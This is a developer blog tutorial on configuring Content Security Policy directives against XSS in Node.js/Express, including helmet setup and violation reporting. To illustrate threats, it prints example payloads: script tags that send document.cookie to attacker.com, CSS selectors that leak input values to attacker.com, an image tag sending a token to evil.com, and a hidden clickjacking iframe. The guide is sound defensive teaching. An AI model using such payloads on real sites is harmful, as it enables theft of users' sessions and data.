Homepage – Marouane Souda
⬅ Go back to blog
Content Security Policy (CSP) And How to Configure it Against XSS in Node.js

Published on:

Content Security Policy (CSP) And How to Configure it Against XSS in Node.js

Cross-Site Scripting, or XSS for short, is a type of injection attack where an attacker injects malicious code into a website, often through input fields, causing it to execute as if it were part of the site's legitimate code.

Here's a basic example to illustrate how XSS works:

Suppose you have a social media app where users can comment on each other's posts. An attacker can submit a comment like: "<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>"

Here is a cleaner presentation of the "comment" above:

<script>
  fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

If your application renders that comment without proper sanitization or escaping, the script will run in the browser of any user who views it, sending sensitive data like session cookies to the attacker's malicious server.

This could allow the attacker to impersonate the user or access sensitive data.

XSS attacks typically exploit weaknesses in how a website handles user input. If user-provided data is not properly validated or escaped, it can be treated as executable code rather than plain text. This opens the door for attackers to sneak malicious JavaScript into seemingly harmless input fields, like comment forms, chat boxes, or profile descriptions.

The impact of XSS can be severe. These scripts can:

  • Steal cookies and session tokens.
  • Log keystrokes and capture sensitive input.
  • Redirect users to malicious websites.
  • Perform actions on behalf of the user (like changing passwords or sending messages).

There are many good, tried-and-tested methods of defending against XSS, like:

  • Escaping or sanitizing user input.
  • Validating input on both client and server.
  • Using secure frameworks and libraries that handle encoding automatically.

One particularly powerful mitigation technique, which you should definitely implement in your website, is Content Security Policy (CSP).

What is Content Security Policy?

According to MDN:

Content Security Policy is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.

Source: MDN Web Docs, licensed under CC-BY-SA 2.5.

CSP is a browser-based security standard designed to reduce the risk of XSS and other code injection attacks by specifying which sources of content are allowed to load and execute on your website.

It is a crucial security feature in modern web development, not just because it protects against a wide range of digital threats, but also because it was specifically designed to prevent inline script execution, a primary vector for Cross-Site Scripting.

In XSS context, you can configure CSP to allow scripts only from your own origin, effectively blocking inline scripts and any scripts loaded from untrusted external sources, which can block many common XSS attacks, especially those relying on inline scripts or untrusted external sources.

If the attacker tries to submit the same "comment" mentioned earlier:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

It won't work because the browser isn't allowed to load and execute inline scripts.

CSP acts as a whitelist for trusted sources of scripts and other resources. If you configure it correctly, the browser will simply block the user's script from executing, because it is not included in the permitted list of sources the browser is allowed to load scripts from.

Content Security Policy And Same-Origin Policy

Most browsers already enforce the Same-Origin Policy (SOP) by default. This means a script on one origin can't access data on another origin, protecting against cross-site attacks like CSRF or cross-origin data leaks.

However, SOP does not stop malicious scripts running from within your own origin, such as those injected by an attacker via an XSS vulnerability. That’s where Content Security Policy steps in: it helps prevent those scripts from executing at all.

How Does Content Security Policy Work?

CSP is delivered via HTTP headers or HTML <meta> tags, although headers are preferred for security (I'll explain why later).

To see how CSP works, let's check an example of a Content-Security-Policy header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com;

Here's a brief breakdown of what this header means:

  • default-src 'self': by default, only load content (like images, fonts, etc.) from the same origin as your website.
  • script-src 'self' https://apis.example.com: allow JavaScript to run only if it comes from your own site or from https://apis.example.com.

This CSP allows resources only from your domain ('self'), but scripts can be loaded from a trusted third-party API (https://apis.example.com) as well. Anything else (scripts from unknown sources, inline scripts, or eval() calls) will be blocked.

Content Security Policy Header Anatomy

In the example above, the header is made up of directives (like default-src and script-src), each followed by one or more allowed sources (like 'self' https://apis.example.com for script-src) separated by spaces.

Each directive with its allowed sources forms a policy, and multiple policies are separated by semicolons.

I’ve explicitly set the policy for scripts, while other content types default to being restricted to my own origin. However, CSP offers many more directives that give you fine-grained control over where different types of content can be loaded from.

script-src in Detail

script-src controls which JavaScript sources are allowed to load and execute in the browser, acting as a powerful gatekeeper between your website and potentially malicious scripts.

Since JavaScript is the primary vector for Cross-Site Scripting (XSS) attacks, script-src is the most critical directive for defense against XSS attacks. That's why I’ll be spending considerably more time on this directive than on any of the others.

script-src supports a range of values that define what sources are considered safe. Below are the most commonly used options, along with a brief explanation of what they do:

  • 'none': Blocks all scripts from loading.
  • 'self': Allows scripts to be loaded from the same origin (your own domain).
  • Specific URLs (https://cdn.example.com): Allows scripts from a specific trusted third-party source.
  • 'nonce-<random>': Allows inline script blocks (<script>) only if they include a nonce, a cryptographic random string that changes on every request.
  • <scheme>:: Allows scripts over the specified protocol (https:, http:).
  • 'sha256-<hash>': Allows inline script blocks (<script>) whose hashed content matches the hash set in <hash>.
  • 'unsafe-hashes': Allows scripts inside event handler attributes (like onclick) whose hashed content matches the hash set in <hash>.
  • 'strict-dynamic': Allows scripts dynamically added by other trusted scripts, which themselves must be nonce- or hash-based.
  • 'unsafe-inline': Allows any inline script, whether <script> tags or onclick/onload handlers, to run.
  • 'unsafe-eval': Allows the use of eval(), Function() constructor, and similar. Very unsafe.

Some values, like 'none' and 'self', are pretty straightforward. So instead of covering all of them, I’ll focus on the more confusing or less obvious ones to help clarify how they work and when to use them.

Specific URLs (https://cdn.example.com)

This specifies the exact URL (or URLs) the browser is allowed to load scripts from.

In:

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com

Only our scripts and those whose src value is https://apis.example.com can be loaded and executed.

You are not limited to just one URL by the way, you can add more if you host your scripts on more than one CDN for example.

You also have the option to match all origins with a wildcard *, but this is strongly discouraged, because it opens your site to potential script injection from anywhere. Always prefer explicitly listing trusted sources!

About subdomains

Keep in mind that subdomains are not automatically included when you specify a URL. For example, if you set https://example.com as a trusted source, it does not mean that https://cdn.example.com is trusted as well.

If you want to allow both, you'll have to list them explicitly, like this:

script-src 'self' https://example.com https://cdn.example.com

If you need to match all subdomains of an origin, use the wildcard * in the place for the subdomain, like this: *.example.com. This will match all subdomains of example.com (like cdn.example.com or scripts.example.com).

'nonce-<random>'

One of the key strengths of Content Security Policy (CSP) is its default behavior of blocking inline scripts, which are a common vector for XSS attacks.

By default, CSP blocks things like:

  • Inline <script> tags.
  • JavaScript in event handlers (like onclick).
  • Functions like eval().

This means that unless you explicitly allow them, these types of scripts won’t run. That includes malicious scripts injected into places like comment fields or user inputs.

So how can you let your own inline scripts run while still blocking anything suspicious? That’s where nonces come in.

What’s a Nonce?

A nonce (short for number used once) is a random, unique string generated by your server for each page request. You add this nonce to your CSP header and also to each inline script tag you want to allow.

Any inline script block should have that nonce as an attribute, like this one:

<script nonce="abc123">console.log("Safe inline script");</script>

If the nonce on the script tag matches the one the browser received in the CSP header, the script is allowed to run. If it doesn’t match, or if there's no nonce at all, it gets blocked.

Since a nonce attribute with the correct nonce is required for the <script> block to run, inline JavaScript handlers and function like eval() are not permitted, as they have no way to include or use the nonce. A nonce only works for inline <script> blocks.

Why This Protects You

Even if an attacker views the page source and sees the nonce value, they can’t reuse it in a malicious payload, because that nonce is unique to that specific page load (request), which means other users will have different nonces. So an injected script with the wrong nonce will fail silently in other users’ browsers.

This mechanism makes it nearly impossible for an attacker to sneak a working inline script into your site.

'sha256-<hash>'

Another option to secure your inline script blocks is to use a hash instead. Here's how this works:

  1. You take the inline script's content, and hash it with a secure hashing algorithm, like sha-256.
  2. Now, the content of every inline script will be hashed, and the result will be compared to the hash that you set in the CSP header.
  3. If they don't match, the script will be rejected.

This option is very strict and secure. You don't need a nonce generator, which saves you server costs, plus it's ideal for fixed inline scripts, like in static pages.

Of course, since the hashes themselves are generated from the content of the inline scripts, you must recalculate the hashes every time content changes, which makes this approach tedious to manage.

Also, hashing is a computationally expensive task, which makes it not practical for large inline blocks.

By the way, SHA-256 is just one option. You can use SHA-384 or SHA-512 as well.

'unsafe-inline'

This option permits all inline script execution (inline <script> tags, JavaScript in event handlers and eval()), which makes your application vulnerable to XSS attacks.

The only reason you'll ever need to use 'unsafe-inline' is in legacy systems.

Here is a longer explanation: In older or poorly maintained web applications, it's common to find inline <script> tags directly in the HTML like:

<script>alert('hello');</script>

Or JavaScript inside HTML attributes:

<button onclick="submitForm()">Submit</button>

To make these applications CSP-compliant without 'unsafe-inline', you'd need to move all inline <script> blocks into external JS files or add nonces, and replace inline event handlers with proper JS listeners in separate files, which can be a huge amount of work for large, old codebases, especially when:

  • There’s little or no test coverage.
  • The inline scripts are spread across hundreds of pages.
  • Refactoring risks breaking the site.

So in these cases, you might temporarily use 'unsafe-inline' as a stopgap until the app can be modernized.

Otherwise, avoid it at all costs, and stick to proper CSP protection options.

'unsafe-hashes'

'unsafe-hashes' is a sort of middle ground between using secure script hashes and falling back to 'unsafe-inline'.

As I explained before, using a hash like 'sha256-<hash>' works for inline <script> blocks, but not for inline JavaScript in HTML attributes like onclick, onload, etc.

This is where 'unsafe-hashes' comes in. When included in your script-src directive, it allows the browser to run inline event handlers only if their hashed content matches a valid hash that you’ve explicitly defined in 'sha256-<hash>'.

In short, 'unsafe-hashes' is safer than 'unsafe-inline' because it only allows inline event handlers whose hashed content exactly matches pre-approved hashes, while also extending the capabilities of 'sha256-<hash>' by supporting these inline handlers.

However, it is still not as safe as avoiding inline JavaScript altogether.

'strict-dynamic'

This allows scripts dynamically added by other trusted scripts (which themselves must be nonce- or hash-based).

It's a value that trusts scripts loaded by other trusted scripts, even if those new scripts come from domains not explicitly listed in the policy.

Dynamically loaded scripts are JavaScript files added to the page after it loads, typically using JavaScript code like:

const s = document.createElement('script');
s.src = 'https://cdn.untrusted.com/extra.js';
document.head.appendChild(s);

Without 'strict-dynamic', CSP blocks that dynamically added script unless its URL is explicitly listed.

Since 'strict-dynamic' allows loading content from unknown, dynamically loaded scripts, the primary script must be safe and secure. That's why a nonce or a hash must be set with 'strict-dynamic'.

You can't set a CSP header like this:

Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' https://apis.example.com

The above header will not have the desired effect, and dynamically added script will still be blocked from running, because no nonce or hash is present.

Also to be aware of: 'strict-dynamic' makes static URLs redundant. If you set both 'strict-dynamic' and static URLs, the browser ignores the URLs. So, even though you've set https://apis.example.com as an allowed origin in the header above, it will still be blocked from being executed.

One reason you might set both of them is to support older browser who might not support 'strict-dynamic'.

Other Common CSP directives

I already showed you two directives: script-src and default-src, but there are many others that give us more flexibility in setting up our policy and improving security.

CSP is composed of directives, each controlling a specific type of resource. Here are some of the most commonly used ones:

DirectiveWhat It Controls
default-srcDefault policy for loading all content types
script-srcJavaScript
style-srcCSS and inline styles
img-srcImages
font-srcFonts
connect-srcconnections using fetch(), WebSocket, EventSource, etc.
media-srcAudio and video
frame-srcSources allowed to be embedded in <iframe>
frame-ancestorsWho is allowed to embed your site in a frame
base-uriWhere the <base> HTML tag can point
report-uriWhich URL to send report violations to (deprecated)
report-toReplaced report-uri in CSP level 3

Let's take a look at some of those directives in more detail:

style-src

Controls which CSS styles the browser is allowed to load and apply.

It determines where styles can come from, such as external stylesheets, inline styles, or styles with specific hashes, to help protect against style-based injection attacks.

Here is a table displaying the values style-src can take:

ValueDescription
'self'Allows styles from the same origin (your own server).
<URL>Allows stylesheets from specific domains (like https://cdn.example.com).
'nonce-xyz'Allows inline <style> blocks only if they have a matching nonce.
'sha256-abc...'Allows <style> blocks based on the hash of their contents.
'unsafe-hashes'Allows certain inline styles with matching hashes.
'unsafe-inline'Allows all inline styles (style tags and style attributes).

As you can see, all values valid for script-src are also valid for style-src, except for 'strict-dynamic', which is exclusive to script-src. These values behave the same way in both directives, with one small nuance.

'sha256-<hash>' allows <script> and <style> blocks based on the hash of their content, and but the browser will ignore inline styles and JavaScript handlers:

  • For scripts: It is event handlers like onclick, onchange, etc.
  • For styles: It is inline styles written directly using the HTML style attribute.

For example, the following inline style would be blocked even if its hash matches:

<button style="color: blue;">Click here</button>

To allow inline styles like this without resorting to 'unsafe-inline', you must include 'unsafe-hashes' in your policy. This tells the browser to allow inline styles only if their content hashes match a provided 'sha256-<hash>' value, exactly like with script-src.

CSS And XSS

While CSS can't directly access or send data like JavaScript can, it can be abused to trigger HTTP requests based on certain conditions, effectively turning styles into a data-leaking side channel.

For example, attackers can use CSS attribute selectors to detect specific values in the DOM (like usernames, tokens, or user-entered text), and then combine those with background-image: url() or similar CSS properties to secretly trigger a request to an external server.

Imagine a form like this:

<input type="text" name="email" value="user@example.com" />

An attacker can inject the following malicious CSS into the page (perhaps through an unsanitized <style> block):

input[value^="us"] { background-image: url("https://attacker.com/leak?char=us"); }
input[value^="use"] { background-image: url("https://attacker.com/leak?char=use"); }
input[value^="user"] { background-image: url("https://attacker.com/leak?char=user"); }

Here's what this does: The input[value^="us"] selector matches any input whose value starts with "us". If the match is successful, the browser will attempt to load the background image from https://attacker.com/leak?char=us. That request is sent without the user's knowledge, effectively leaking data to the attacker.

Each time one matches, the browser leaks another request to the attacker’s server. Using this, they can reconstruct the entire email or token, one character at a time.

By crafting multiple selectors and requests, attackers can infer or "brute-force" sensitive data from form fields, one character at a time.

This is called a CSS-based side-channel attack or CSS exfiltration.

To prevent this kind of attack, a well-configured Content Security Policy should restrict style-src and img-src to trusted domains. For example:

Content-Security-Policy: style-src 'self'; img-src 'self';

This policy not only controls where stylesheets can be loaded from, but also where images referenced within CSS (such as through url()) can be loaded. By restricting both style-src and img-src to 'self', it limits styles and images to those hosted on our own server, shutting down the data-leaking channel.

Recommendations

  • Use external stylesheets from trusted sources only.
  • Avoid 'unsafe-inline', as it allows arbitrary inline CSS and is a major security risk.
  • Use CSP hashes or nonces for inline styles instead of 'unsafe-inline'.
  • Use 'unsafe-hashes' with a valid hash if you need to allow specific inline styles (like in HTML style attributes), without opening up to all inline styles.
  • Avoid wildcards * to prevent loading styles from unknown or dynamic third-party sources.

img-src

Controls which sources images can be loaded from. It helps prevent attackers from loading or leaking data through unauthorized image URLs.

Here are the possible values img-src can take:

ValueDescription
'none'Blocks all image loading
'self'Allows images from your own origin
<URL>Allows images from specific trusted domains
data:Allows loading images encoded as data: URIs (inline base64)
blob:Allows blob-based image sources (used by JS-generated URLs)
filesystem:No longer widely supported; avoid

The data: and blob: schemes are valid sources in CSP, and while they can technically be used with directives like script-src and style-src, they're most commonly used with img-src.

These schemes are often used to embed images directly into HTML (by using URL.createObjectURL() for example) or base64-encoded data.

For example, using a base64-encoded image:

<img src="data:image/png;base64,..." />

Images And XSS

Images can't execute JavaScript, but their best use case is data exfiltration. Take this code for example:

<img src="https://evil.com/log?data=stealThisToken" style="display:none" />

The attacker uses the src attribute of <img> tag to send your token to his/her server.

Notice that the request is purely outbound. It sends data to the attacker but can’t receive and run code.

Recommendations

Avoid wildcards like * and data: URLs, and restrict to trusted sources only:

Content-Security-Policy: img-src 'self' https://cdn.example.com;

If no external images are required, block them all:

Content-Security-Policy: img-src 'self';

font-src

Controls which sources web fonts (like .woff or .ttf files) can be loaded from.

ValueMeaning
'self'Load fonts from your own origin
<URL>Load from a specific external source
data:Allow base64-encoded fonts embedded in CSS (rare, not recommended)
blob:Allow fonts loaded via blob: URLs
'none'Block all fonts

Recommendations

Only allow trusted font sources.

For example, if you host your own fonts or use a trusted CDN like Google Fonts:

Content-Security-Policy: font-src 'self' https://fonts.gstatic.com; style-src https://fonts.googleapis.com;

And this may sound like a broken record, but avoid using wildcards.

connect-src

It controls outgoing connections via fetch(), XMLHttpRequest, WebSockets, EventSource, and navigator.sendBeacon().

ValueMeaning
'self'Allow connections to your own domain
<URL>Allow calls to specific external APIs
blob:Allow blob: URLs (used rarely in this context)
'none'Block all outgoing connections
wss://... / https://...You can specify protocol and domain for WebSocket/API calls

connect-src forms a second line of defense. Consider this scenario:

<script>
  fetch("https://attacker.com/log", {
  method: "POST",
  body: JSON.stringify(document.cookie)
});
</script>

If script-src wasn't properly configured, connect-src would step in and disallow the HTTP request to https://attacker.com/log if you set the exact URL (or URLs) the browser is allowed to make requests to.

So, even though script-src is essential to have, it's recommended to set up connect-src as a backup to ensure the browser can only send requests to safe, pre-approved origins.

Recommendations

Use 'self' for same-origin requests, and allow only necessary domains:

Content-Security-Policy: connect-src 'self' https://api.example.com;

frame-src

The frame-src directive restricts the sources of content your website can embed in an <iframe>.

ValueMeaning
URLAllow embedding specific origin(s) like https://www.youtube.com
'self'Allow embedding your own pages
'none'Disallow all <iframe> embedding

It prevents your site from embedding untrusted content (and vice versa), and limits attack surfaces related to third-party content.

Its main use case is to prevent Clickjacking. Attackers can use transparent or hidden <iframe> elements to trick users into clicking on invisible buttons from another site (like "Delete Account").

This is a classic clickjacking attack.

<iframe src="https://victim-site.com/delete" style="opacity:0; position:absolute"></iframe>

frame-src helps prevent this by limiting what can be framed.

Recommendations

If your site doesn’t embed any frames, disable it entirely:

Content-Security-Policy: frame-src 'none';

If you absolutely need to embed another website, restrict it to that website only and avoid using wildcards (*):

Content-Security-Policy: frame-src 'self' https://trusted.com;

frame-ancestors

Unlike frame-src, this directive controls which websites are allowed to embed your site in an <iframe> or <object>.

ValueMeaning
'self'Allows embedding only by the same origin
'none'Your website cannot be embedded in other websites
<URL>Allows only the specified origin to embed your site
<scheme>Allows any origin using the specified scheme

Recommendations

Block all framing to prevent clickjacking:

Content-Security-Policy: frame-ancestors 'none';

If embedding is required, allow only trusted parent domains:

Content-Security-Policy: frame-ancestors https://partner.example.com;

base-uri

This directive restricts the use of the <base> HTML tag, which controls how relative URLs are resolved on your page.

The <base> tag is placed in the <head> of an HTML document and defines a base URL or a default target for all relative URLs on the page like links, scripts, images, etc.

<base href="https://example.com" />

And now, you can set the href of your <a> tags like this:

<a href="page2.html">Next</a>

Thanks to <base>, you don't have to set the whole URL in href like https://example.com/page2.html. The base URL of the entire website is configured with <base>.

If not restricted by base-uri, browsers will honor any <base> tag present in the document.

Attackers might inject a <base> tag into your HTML to redefine the base path for all relative links, like images, scripts, or anchors. This way, they can silently redirect form submissions or script requests to a malicious domain, compromising integrity or stealing data.

ValueMeaning
'self'Allows the <base> tag to point only to the same origin
'none'Disables the effect of any <base> tag
<URL>Allows the base URI to be set to the specified origin

report-uri

Unlike typical directives like script-src or style-src, report-uri doesn’t actively enforce protection, it simply tells the browser where to send violation reports.

The report-uri directive in a Content Security Policy (CSP) specifies the endpoint where the browser should send violation reports if any CSP rule is violated.

For example, you can make an POST endpoint in your backend (/csp-report for example) dedicated to receiving violation reports (with the Content-Type: Application/csp-report header). These reports are made and sent by the browser, so you don't have to do anything special at that endpoint other than send a 204 No Content response, and maybe store or log reports to analyze and detect real-world attacks or misconfigurations.

Here is a sample of a JSON payload of a violation report:

{
  "csp-report": {
    "document-uri": "https://example.com/index.html",
    "referrer": "",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "script-src 'self'; report-uri /csp-report",
    "blocked-uri": "http://malicious.com/script.js",
    "line-number": 23,
    "column-number": 5,
    "source-file": "https://example.com/index.html",
    "status-code": 200
  }
}

It has various properties, each describing specific aspect of the violated policy, like the blocked source, violated policy, page where the violation occured, etc.

In our example, script-src 'self' is the violated policy, highlighted in the violated-directive property, and http://malicious.com/script.js is the blocked source, shown in blocked-uri.

Even though report-uri enjoys widespread support, it is deprecated in CSP Level 3, in which it has been replaced by report-to, which we will look at next.

report-to

The report-to directive is the modern replacement for report-uri and is part of the Reporting API. It specifies a named group where the browser should send violation reports.

Due to its limited availability (it's still not supported in Firefox), it is recommended to set both report-to and report-uri to support both new and older browsers who might not support report-to, like this:

Content-Security-Policy: default-src 'self'; report-uri /csp-report; report-to csp-group;

Notice that I didn't specify an endpoint URL for report-to, unlike for report-uri.

csp-group is the group name I talked about earlier. You specify it in either the Report-To or the newer Reporting-Endpoints header, which you must define in your backend. Both headers map the group name to a reporting endpoint.

Using Report-To (Legacy)

Report-To: {
  "group": "csp-group",
  "max_age": 10886400,
  "endpoints": [
    { "url": "https://example.com/csp-report" }
  ]
}

This tells the browser to send reports to https://example.com/csp-report under the csp-group group, for a period of 10886400 seconds (126 days).

It's a JSON structure and is supported by most browsers, but is being phased out.

Using Reporting-Endpoints (Modern)

Alternatively, the newer Reporting-Endpoints header provides a simpler, non-JSON format:

Reporting-Endpoints: csp-group="https://example.com/csp-report"

This defines the same group, but in a cleaner syntax. It is preferred in modern browsers and aligns with the updated Reporting API spec.

Just like with report-uri and report-to, it's recommended to include both Report-To and Reporting-Endpoints headers for maximum compatibility.

Example JSON Report Payload

The browser sends these reports as JSON via POST, this time with the Content-Type: application/reports+json header, instead of Content-Type: application/csp-report like with report-uri.

The format of the report differs from that of report-uri. Here is an example of what a JSON payload looks like for report-to:

{
  "age": 53531,
  "body": {
    "blockedURL": "http://malicious.com/script.js",
    "columnNumber": 5,
    "disposition": "enforce",
    "documentURL": "https://example.com/index.html",
    "effectiveDirective": "script-src",
    "lineNumber": 23,
    "originalPolicy": "script-src 'self'; report-to /csp-report",
    "referrer": "",
    "sample": "console.log(\"lo\")",
    "sourceFile": "https://example.com/index.html",
    "statusCode": 200
  },
  "type": "csp-violation",
  "url": "https://example.com/csp-report",
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
}

It has the same information held in the report made when using report-uri, but with a few differences.

Differences between report-to and report-uri

The main difference is that all information about the CSP violation is contained inside the body property. This is because report-to is used not only for CSP, but for many other types of violations, specified in the type property. Some values of type include network-error, deprecation, crash, etc.

In our example, type is set to csp-violation, which means that a CSP violation has occurred.

Like I said before, report-to integrates well with the new Reporting API. This makes it useful not just for reporting CSP violations, but all kinds of violations, which you can access through type property.

One important difference is that report-to requires a secure context, meaning your site must be served over HTTPS. Unlike report-uri, you can’t fully test report-to using plain http://localhost.

To test report-to reports in development, a common approach is to use a tunneling service like Ngrok, which provides a public HTTPS URL that forwards requests to your local server. This way, you can test report-to reporting on your local environment over HTTPS.

Just like with report-uri, you don't have to return anything from that endpoint, a 204 No Content response will do just fine. However, logging or storing these reports can provide valuable insights into attempted policy violations or misconfigurations.

Key Takeaways

  • 'self', specific URLs, and 'none' are widely supported across directives.
  • Nonces, hashes, 'unsafe-inline', and unsafe-hashes are only valid for scripts and styles.
  • 'strict-dynamic' is only valid for scripts, and only works when combined with a nonce or hash.
  • data: and blob: are powerful but risky. Allow only when necessary.
  • Do not use *. Ever!
  • Including invalid values in a directive won’t cause errors, but they’ll be ignored, which can silently weaken your policy.

Recommended CSP Configuration

For most directives, the general best practice is to allow self-hosted content only, using 'self', and to add specific remote origins only when absolutely necessary (like for trusted CDNs, APIs, or services your app relies on).

Set default-src to 'self' to ensure that any content type not explicitly covered by other directives will default to allowing only self-hosted resources.

Avoid using wildcards (*), and for script-src and style-src, avoid inline <script> and <style> blocks. If you absolutely need them, use nonces and hashes (and unsafe-hashes if you need to support inline styles and JavaScript event handlers like onclick).

Set frame-src to 'none' unless you embed trusted content (like YouTube or maps), in which case you can list those domains explicitly. This measure protects your users from Clickjacking attacks.

Use frame-ancestors 'none'; to prevent other websites from embedding your site in a <iframe>, which also helps defend against clickjacking attacks. If your site needs to be embedded by a specific partner or parent domain, list only that trusted domain.

Finally, use base-uri 'none'; to prevent attackers from changing the <base> tag, which could alter how relative URLs resolve and potentially lead to unexpected behavior.

Why You Should Set CSP As A Header And Not As A Meta Tag

I mentioned briefly that it's more secure to set your CSP in a header instead of a meta tag like this:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

But I didn't explain why. So, here are 3 reasons why you should configure CSP in an HTTP header:

1. Headers are enforced earlier

CSP delivered via HTTP headers is applied before any content is parsed by the browser. This means it can protect against malicious scripts even in the <head> or early <script> tags.

Meta-based CSPs, on the other hand, are only applied after the browser encounters the <meta> tag. Any inline scripts before that point will not be blocked, even if they violate the policy.

2. Meta tags can’t enforce powerful directives

Some important directives, such as frame-ancestors, report-uri, and report-to are ignored when CSP is set via a <meta> tag. These directives only work when CSP is delivered as a header, which means using a meta tag provides incomplete protection.

3. Meta tags are more vulnerable to injection

If your app is vulnerable to HTML injection, an attacker might modify or insert a <meta> tag to weaken or bypass your CSP. HTTP headers, being set server-side, are much harder for attackers to tamper with.

Always configure CSP via the Content-Security-Policy HTTP response header in your server or application framework. This ensures early, complete, and tamper-resistant enforcement of your policy.

Deploying CSP in Report-Only Mode

If you configure CSP for the first time, you may encounter multiple errors linked to CSP violations.

This can disrupt you application.

The recommended way is to set up CSP in Report-Only mode. You do that by setting up the Content-Security-Policy-Report-Only header instead of Content-Security-Policy.

They work the same way, and accept the same values. The only difference is that Content-Security-Policy-Report-Only doesn't block unallowed requests from taking place, and reports them.

Take this one for example:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://example.com; report-uri /csp-report; report-to /csp-report;

According to the policy set in this header, inline JavaScript are prohibited, but unlike Content-Security-Policy, they won't be blocked. The browser will still process inline JavaScript and send a report to /csp-report endpoint about the inline JS violation.

Simply put, violations are reported but not enforced. This way you can observe what resources would be blocked.

Of course, this means you need to define both report-uri and report-to endpoints. Without them, Content-Security-Policy-Report-Only is ineffective, since it won’t generate any reports or provide useful feedback.

This approach is helpful for gradually tightening your CSP without breaking your application. Start with Content-Security-Policy-Report-Only to monitor violations and address any issues that are reported. Once you've resolved them and no new reports appear for a while, you can safely switch to Content-Security-Policy to actively block unwanted content.

Set Up Content Security Policy in Node.js (Express.js)

I'll set it up in two ways: manually, and using the helmet library.

Manually

import express from "express";

const app = express();

// Define the Report-To header value
const reportToHeader = JSON.stringify({
  group: "csp-group",
  max_age: 10886400, // 126 days in seconds
  endpoints: [
    { url: "/csp-report" }
  ]
});

// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="/csp-report"';

app.use((req, res, next) => {
  // Set the CSP header
  res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-report; report-to csp-group;");
  // Set the Report-To header
  res.setHeader("Report-To", reportToHeader);
  // Set the Reporting-Endpoints header
  res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
  next();
});

// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
  // Logging the report, but you can do other things with it as well, like storing it in your database
  console.log('CSP Report:', req.body);
  res.sendStatus(204);
});

app.listen(3000, () => {
  console.log("Server running on http://localhost:3000");
});

With helmet

helmet secures your web application by setting various security-related HTTP response headers, like Cross-Origin-Opener-Policy, Referrer-Policy, and Cross-Origin-Resource-Policy. The one header we are interested in is the Content-Security-Policy header.

There are many advantages for using helmet over manual setup, but I'll list three of them:

1. Clear and Readable Syntax

helmet makes it easy to write and read CSP policies. Instead of manually constructing a long CSP string, you use a clear object-based structure like:

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"],
    reportUri: ["/csp-report"],
    reportTo: ["csp-group"],
  }
});

Just objects, arrays and strings. This makes policies easier to read, write, and maintain.

2. Validation and Error Prevention

helmet is less error-prone: it validates your CSP configuration and helps avoid common syntax mistakes.

For example:

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["self"] // ❌ Helmet will complain about missing quotes. It should be "'self'"
  }
});

Without helmet, you'd have to manually construct this as a string, and a small typo could silently break your policy.

3. Secure Defaults Out of the Box

Another major reason to use helmet instead of manually configuring headers is that it provides secure default values for key CSP directives, reducing the risk of misconfiguration and ensuring a solid baseline of protection against common web vulnerabilities.

You still have full control — you can override or extend individual directives while keeping Helmet’s safe defaults in place.

If you prefer to start from scratch, you can disable the defaults entirely by setting useDefaults: false, and define only the directives you want:

helmet.contentSecurityPolicy({
  useDefaults: false,
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"],
    reportUri: ["/csp-report"],
    reportTo: ["csp-group"],
  }
});

Now that we detailed why helmet is a better approach for constructing your CSP policies, let's go ahead and configure our CSP.

First, we'll install the required packages:

npm install express helmet

And then in our main server file, we'll set up the same value we set for the first example in this blog post:

import express from "express";
import helmet from "helmet";

const app = express();

// Define the Report-To header value
const reportToHeader = JSON.stringify({
  group: "csp-group",
  max_age: 10886400, // 126 days in seconds
  endpoints: [
    { url: "https://example.com/csp-report" }
  ]
});

// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="https://example.com/csp-report"';

// Set the CSP header
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      reportUri: ["/csp-report"],
      reportTo: ["csp-group"],
    },
  })
);

// Manually add the Report-To and Reporting-Endpoints headers
app.use((req, res, next) => {
  res.setHeader("Report-To", reportToHeader);
  res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
  next();
});

// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
  // Logging the report, but you can do other things with it as well, like storing it in your database
  console.log('CSP Report:', req.body);
  res.sendStatus(204);
});

app.listen(3000, () => {
  console.log("Server running on http://localhost:3000");
});

Since helmet doesn't generate the Report-To and Reporting-Endpoints headers automatically, we had to set them manually.

To use Content-Security-Policy-Report-Only, use reportOnly: true, like this:

// Set the CSP header
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      reportUri: ["/csp-report"],
      reportTo: ["csp-group"],
    },
    reportOnly: true, // Sets `Content-Security-Policy-Report-Only` instead of `Content-Security-Policy`
  })
);